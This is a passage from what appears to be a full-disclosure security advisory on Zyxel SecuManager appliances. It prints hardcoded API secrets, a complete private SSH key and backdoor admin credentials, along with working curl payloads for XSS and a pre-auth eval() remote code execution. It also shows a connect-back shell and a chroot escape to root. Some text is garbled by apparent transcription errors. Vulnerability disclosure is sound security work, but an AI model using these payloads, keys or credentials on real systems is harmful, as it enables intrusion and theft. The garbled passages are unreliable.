The device can connect to the MyZyxel service. The code responsible to exchange information between the appliance and the 'Cloud' is written in java.

The JAR file is executed from myzyxel.pyc using subprocess.Popen:

```
def decrypt(encrypted_string, encrypted_secret_key, action='aes_decode_with_plain_key'):
    JAVA_PROGRAM = 'java'
    Delegate_Util = '/opt/axess/Extensions/custom_code/MZCDelegate-protect.jar'
    RESUIT_DECODING = 'UTF-8'
    sp = subprocess.Popen([JAVA_PROGRAM, '-jar', Delegate_Util, action, encrypted_secret_key, encrypted_string], stdout=
[...]
```

The MZCDelegate-protect.jar file contains specific Zyxel code for encryption and has an interesting hardcoded resource file (IV.dat).

When reading the java code, it appears this IV.dat resource is used as as Secret Key along with a defined Initialization Vector (containing only 0s).

It seems this behavior may not completely follow best practices when dealing with encryption:

Content of IV.dat:

Finally, it is interesting to note that <code>myzyxel.pyc</code> contains also hardcoded credentials:

```
user_key_id = '481D916BE2FA76042316'
user_secret = 'PAZsJJ55frFmNivjAzgjYPC4fCQc3Wi9WVVZ5w=='
```

Details - Hardcoded Secrets, API

When reading the source code of the web (Python) application, it appears some critical variables are being imported:

```
root@chopin:/opt/axess/opt/axess# cat /opt/axess/opt/axess/zyxel/zyxel_customizations/live.CloudCNMEntryPoint/config/c
onfig.py
axess_config = container.TR69Utils.get_axess_default_config()
config = {
    "zyxel_portal": {
        "host": axess_config.get('ZYXEL_PORTAL_HOST'),
        "app_key": axess_config.get('YPP_KEY'),
        "login_redirect_uri": "/live/cloudCNMEntryPoint",
        "logout_redirect_uri": "/live/cloudCNMEntryPoint"
}, "oauth_secret_key": axess_config.get('OAUTH_SECRET_KEY'),
    "jwt_secret_id": axess_config.get('SERVER_ACCESS_SECRET'),
    "jwt_secret_id": axess_config.get('SERVER_ACCESS_KEY_ID'),
    "account_api_url": axess_config.get('ACCOUNT_API_URL'),
    "https_verify": axess_config.get('HITPS_VERIFY') == True,
}
```

The hardcoded configuration parameters come directly from the $\protect\operatorname{hopt/axess/etc/default/axess}$ file:

```
NBI_USER="admin"

NBI_PASS="ax"
# Zyxel specific parameters

SERVER_ACCESS_KEY_ID=""

SERVER_ACCESS_SECRET=""

CNMS_API_URL="https://api.myzyxel.com/v1/my/cloud_cnms"

SECU_API_URL="https://api.myzyxel.com/v2/my/secu_managers"

APP_KEY="85ca73265e977fd468091561b877d66b09395b56f31b7e5850f2514f10d41a482b"

QAUTH_SECRET_KEY="SvaK1LoGZMu8ZgZ6TKJGCwx+xiEBooSLmaQUiyAyUDTDbHFZtT3PCob9QL/pfzA3oGw0t0ANVO4KTbkrAwonP41L+ax0ijqS9cAt

TPGSMfw="
ZYXEL_PORTAL_HOST="https://portal.myzyxel.com/"

DECRYPT_URL=""
```

Furthermore, the permissions of this file allows any user to read this file:

```
root@chopin:/opt/axess/opt/axess# ls -la /opt/axess/etc/default/axess
-rw-r--r-- 1 root root 2607 Mar 6 2018 /opt/axess/etc/default/axess
```

These hardcoded keys are used for secure communications between the appliance and the 'Cloud' management.

Details - Predefined passwords for admin accounts

By default, we can extract the pre-defined admin and the pre-defined users from mysql:

By doing some forensic, it is also trivial to extract previous admin/users:

These information can be useful to find backdoor access.

Details - Insecure management over the 'Cloud'

By default, myzxel.pyc used for communication to the 'Cloud' uses some hardcoded variables for communication over HTTPS:

```
SERVER_ACCESS_KEY_ID = get_cfg_val('SERVER_ACCESS_KEY_ID')

SERVER_ACCESS_SECRET = get_cfg_val('SERVER_ACCESS_SECRET')

CNMS_API_URL = get_cfg_val('CNMS_API_URL')

HTTPS_VERIFY = get_cfg_val('HTTPS_VERIFY') == 'true'

SERVER_ACCESS_KEY_ID will be generated by the Cloud server

SERVER_ACCESS_SECRET will be generated by the Cloud server

CNMS_API_URL will be https://api.myzyxel.com/v2/my/secu_managers
```

The function <code>get_account_info</code> uses the <code>account_id</code>, the <code>jwt_secret</code> and the <code>jwt_secret_id</code>:

```
106 def get account info(account id, jwt secret, jwt secret id):
                                                       # 1. generation of the payload
       # 2. jwt gen encodes the post payload using the empty jwt secret
110
111
113
           r = requests.get(SECU_API_URL, verify=HTTPS_VERIFY, data=post_data)
r.raise_for_status() # ^^- 4. the request is sent to https://api.myzyxel.com/v2/my/secu_m
114
           r.raise_for_status()
       response = r.json()

except requests.exceptions.ConnectionError as e:
    response = 'ConnectionError'
116
117
120
       return response
102 def jwt_gen(payload, secret, algorithm='HS256'):
103
       return jwt.encode(payload, secret, algorithm)
  4
```

The jwt_secret and jwt_secret_id are generated as unique key for each appliance.

But an attacker can extract them using backdoors APIs (please read the sub-section Backdoor APIs) or by using the anonymous access to the ZODB interface and decrypting the secret account_id value.

Also, the connection to the cloud in myzyxel.pyc is done over HTTPS. The Python script is using the requests module, with the HTTPS_VERIFY variable set to false from /opt/axess/etc/default/axess:

```
root@chopin:~# cat /opt/axess/etc/default/axess
[...]
# true or false is allowed
HTTPS_VERIFY=false
[...]
```

When reading myzyxel.pyc, the value of HTTPS_VERIFY is always false. So the verification of certificate is never done from the appliance, allowing an attacker to MITM the HTTPS requests:

The non-verification of SSL seems to be a standard practice in the code. e.g.:

ret = requests.get('https://service-dispatcher.cloud.zyxel.com/s/geoip/v1/geoInfo?ipAddress=' + cpeIp, verify=False, tim

It is recommended to avoid using the cloud functionality (api.myzyxel.com - 54.174.11.58 AWS, 18.234.22.109 AWS and 54.84.22.89 AWS).

Details - xmppCnrSender.py log escape sequence injection

The Python script xmppCnrSender.py is running as root and provides an open HTTP/1.1-to-XMPP gateway on port 8083/tcp on the WAN interface for CPEs management.

The logs written in /var/log/axxmpp.log are not sanitized and an attacker can send escape sequence injections.

```
echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc -v [ip] 8083 < payload
```

(code from from http://www.ush.it/team/ush/hack_httpd_escape/adv.txt (http://www.ush.it/team/ush/hack_httpd_escape/adv.txt))

This is likely to change the admin's terminal title to owned? when he runs cat /var/log/axxmpp.log or tail -f/var/log/axxmpp.log.

Also, this will add some fun to this long journey.

Details - xmppCnrSender.py no authentication and clear-text communication

The Python script xmppCnrSender.py is running as root and provides a open HTTP/1.1-to-XMPP gateway on port 8083/tcp on the WAN interface for CPEs management.

2 Apis are provided:

- /registerCpe/?JID=%(username)s&PWD=%(password)s
- /cnr/?JID=%(jabberid)s&CRUs=%(username)s&CRP=%(password)s

By default the traffic is not encrypted.

Furthermore, the registration is open and anyone can create accounts.

Details - Incorrect HTTP requests cause out of range access in Zope

By default, Apache2 is running on ports 9673/tcp and 80/tcp on the WAN interface. It provides an interface to a Zope WSGI.

By sending invalid HTTP requests, it is possible to cause exceptions in Zope because of the lack of the '/' in the HTTP version:

```
vm# telnet 192.168.1.1 9673
GET / yolo <---- yolo is used instead of 'PROTOCOL/VERSION'
HTTP/1.1 500 Internal Server Error
[...]
An error occurred. See the error logs for more information.
<type 'exceptions.IndexError'> - list index out of range
```

The problem appears to come from the Zope library:

https://github.com/zopefoundation/Zope/blob/master/src/ZPublisher/WSGIPublisher.py#L347 (https://github.com/zopefoundation/Zope/blob/master/src/ZPublisher/WSGIPublisher.py#L347):

Details - XSS on the web interface

The webinterface on ports 80/tcp and 9673/tcp is prone to a lot of XSS:

```
vm# curl -v 'http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/handle_campaign_script_link?JSON=1&script_name=
<XS5>'
<XS5>
vm# curl -v 'http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/handle_campaign_script_link?script_name=<ddaaaa
a>'
<a title="<ddaaaaa>" href="/<ddaaaa>/manage" target="_blank"><ddaaaaa></a>#
vm# curl -v 'http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/generate_sp_link?cid2=<xss>'
<XS5>
```

Finding others XSS is left as an exercise for the reader.

Details - Private SSH key

The system contains an hardcoded SSH Key in the TR69 configuration:

```
root@chopin:/opt/axess/opt/axess/AXAssets# cat /opt/axess/opt/axess/AXAssets/default axess/axess/TR69/Handlers/turboli
nk/sshkeys/id_rsa
----BEGTN RSA PRIVATE KEY----
MIICXAIBAAKBgQDC4GnOyypL29jIK3cye/MDRXobza+4gdCF9hUKxKdA/HRpe0B1
vPZ5FuQRFR6tSHACOd5xAMILnWMhu/c4F9o/gDF1ZrfsyUJ39seTVBKQFBesgZ1F
Ximf/zBatrnc0DwvnxY1q10CHGt8G3002f3rbR1BkFTMXfF9xUmFudH4nOTBTwKB
gCFoTKcbg5f5zWQktVkckA8we1U5NBEAT6Hvq9X104d7vC9Wj0D70nsoft5bZFg4
Tbc9HtGLGfNczypavKqHvwNFgwryFO2pzlv6NsqvqPXi56rO5GNb5yGrve6k+4aH
X3BDfxd1SbRIYZuYAgAmLXe8yDcDRixBKbrVQUtJXhULAkEA8T6HyD0Lp2wKfwgo
nMJ7Qz5F3h/2cSCyYyLHj91i56m9KcLJBiJ2AeVYO4hcV3InlOpQ7osU5cdhJK0S
QRnAkQJBAM7L2G+rdsNNVO7VIbahJSU8rOyaYKpUqTI5ow8hvn2QY55DY81h8HRM
wuk03E6CiWBCr7lbCga2sBn05fdovU0CQQC6Gkt9NmgTcJph/vrCE18WncDeja97
12UKpc0l1qtiQRzls4Uh/VO4UdZZz5exLC0pvBKMIiYQV/p7YPDTIn6bAkEAn4dP
MZLmlqlext7uHyva05U08Qlgg2Xhm8YQEvzGJllxa3XQpcCU7ACznfWUAgztogeO
33IeKNYS0jHzOzOKtwJBAKnIlBv1GAW8vEcmTC2NRPCPm9Ta//04rk6DTsl1SaU4
8Zav73P9sJWbn0CzBRI7qaHjK6Zx9L9h04bdk5uvdeE=
----END RSA PRIVATE KEY----
root@chopin:/opt/axess/opt/axess/AXAssets#
```

Details - Backdoor APIs

Some APIs are reachable without authentication and don't have any documentation. The codes exist as object inside the ZDOB:

- http://[ip]:9673/update_all_realm_license?cnmid=%s
- http://[ip]:9673/zy_install_user
- http://[ip]:9673/zy_install_user_key
- http://[ip]:9673/zy_get_user_id_and_key?cnmid=%s' % cnmid <- allows to dump the 'access_key_id' and the 'secret_access_key'
- http://[ip]:9673/zy_get_instances_for_update
- http://[ip]:9673/live/GLOBALS?key=CLOUDCNM
- http://[ip]/update_all_realm_license?cnmid=%s
- http://[ip]/zy_install_user
- http://[ip]/zy install user key
- http://[ip/zy_get_user_id_and_key?cnmid=%s' % cnmid <- allows to dump the 'access_key_id' and the 'secret access key'
- http://[ip]/zy_get_instances_for_update
- http://[ip]/live/GLOBALS?key=CLOUDCNM

/zy_get_user_id_and_key seems to allow an attacker to dump the access_key_id and the secret_access_key used for the 'Cloud' configuration, without authentication.

Details - Backdoor management access and RCE

The web interface on ports 80/tcp and 9673/tcp has a backdoor management access allowing to download and upload python code, templates, webpages and ZEXPs.

The credentials are: axiros / q6xV4aW8bQ4cfD-b

We are using the available zcp.py tool in /opt/axess/opt/axess/zyxel. This pre-written tool allows to upload some files remotely and update the ZODB objects.

We download the files:

We add the python code inside ${\tt dir/handle_campaign_script_link.py}$:

```
vm# echo 'return 1 + 1' > dir/handle_campaign_script_link.py
```

We then upload the updated python file using the provided zcp.py tool:

```
vm# ./zcp.py -v -r -f -u axiros -p q6xV4aW8bQ4cfD-b dir http://192.168.1.1:9673/live/CPEManager/AXCampaignManager
DEBUG:root:Upload mode engaged
INFO:requests.packages.urllib3.connectionpool:Starting new HTTP connection (1): 192.168.1.1
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/manage_main?_ac_name=axiros8_ac_password=q6xV4aW8bQ4cfD-b
HTTP/1.1" 200 4335
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/CPEManager/AXCampaignManager/manage_main HTTP/1.1" 200 3680
[...]
```

Testing the execution of Python:

```
vm# curl 'http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/handle_campaign_script_link'
```

Python code is sucessfully executed on the appliance as <code>axess</code>.

Details - Pre-auth RCE with chrooted access

It is possible to achieve RCE by abusing an insecure API due to unsafe calls to eval():

```
vm# curl "http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/delete_cpes_by_ids?cpe_ids=__import__('os').system
('id>/tmp/a')"
```

Output is stored in the "Axess" chroot:

```
root@chopin:/opt/axess/tmp# cat /opt/axess/tmp/a
uid=210(axess) gid=210(axess) groups=210(axess)
```

It is also possible to get a connect-back shell:

On 192,168,1,2, the attacker receives the shell:

```
vm# nc -l -v -p 1337
listening on [any] 1337 ...
connect to [192.168.1.2] from (UNKNOWN) [192.168.1.1] 39910
id
uid=210(axess) gid=210(axess) groups=210(axess)
uname -ap
Linux chopin 3.2.0-5-amd64 #1 SMP Debian 3.2.96-3 x86_64 GNU/Linux
```

Also, even if the shell is within a chrooted environment, it is possible to break the chroot using a LPE and the fact that /proc is mounted inside the chroot:

```
vm# nc -1 -v -p 1337
listening on [any] 1337 ...
connect to [192.168.1.2] from (UNKNOWN) [192.168.1.1] 39910 id
uid=0(root) gid=0(root) groups=0(root)
1s / | head
bin
boot
dev
etc
home
lib
media
mnt
chroot /proc/1/root
                        # PRISON BREAK!
ls / | head
boot
etc
home
initrd.img
initrd.img.old
lib
lost+found
```

Vendor Response

Full-disclosure is applied as we believe some backdoors are intentionally placed by the vendor.

Also, there are likely to be way more 0day vulnerabilities in the appliance, but we decided not to dig more due to time constraints.

On a side note, the solution also contains some SQLi, some references to ISPs in Greece (???) and Germany.

Report Timeline

- Dec 20, 2019: Vulnerabilities found and this advisory was written.
- Mar 09, 2020: A public advisory is sent to security mailing lists.
- Jun 26, 2020: MITRE provides CVE-2020-15312, CVE-2020-15313, CVE-2020-15314, CVE-2020-15315, CVE-2020-15316, CVE-2020-15317, CVE-2020-15318, CVE-2020-15319, CVE-2020-15320, CVE-2020-15321, CVE-2020-15322, CVE-2020-15323, CVE-2020-15323, CVE-2020-15323, CVE-2020-15328, CVE-2020-15329, CVE-2020-15330, CVE-2020-15331, CVE-2020-15333, CVE-2020-15333, CVE-2020-15334, CVE-2020-15335, CVE-2020-15336, CVE-2020-15336, CVE-2020-15336, CVE-2020-15337, CVE-2020-15339, CVE-2020-15340, CVE-2020-15341, CVE-2020-15342, CVE-2020-15343, CVE-2020-15344, CVE-2020-15345, CVE-2020-15346, CVE-2020-15347, CVE-2020-15348.

Credits

These vulnerabilities were found by Pierre Kim (@PierreKimSec (https://twitter.com/PierreKimSec)) and Alexandre Torres.

References

https://pierrekim.github.io/advisories/2020-zyxel-0x00-secumanager.txt (https://pierrekim.github.io/advisories/2020-zyxel-0x00-secumanager.txt)

https://pierrekim.github.io/blog/2020-03-09-zyxel-secumanager-0day-vulnerabilities.html (https://pierrekim.github.io/blog/2020-03-09-zyxel-secumanager-0day-vulnerabilities.html) (https://pierrekim.github.io/blog/2020-03-09-zyxel-secumanager-0da

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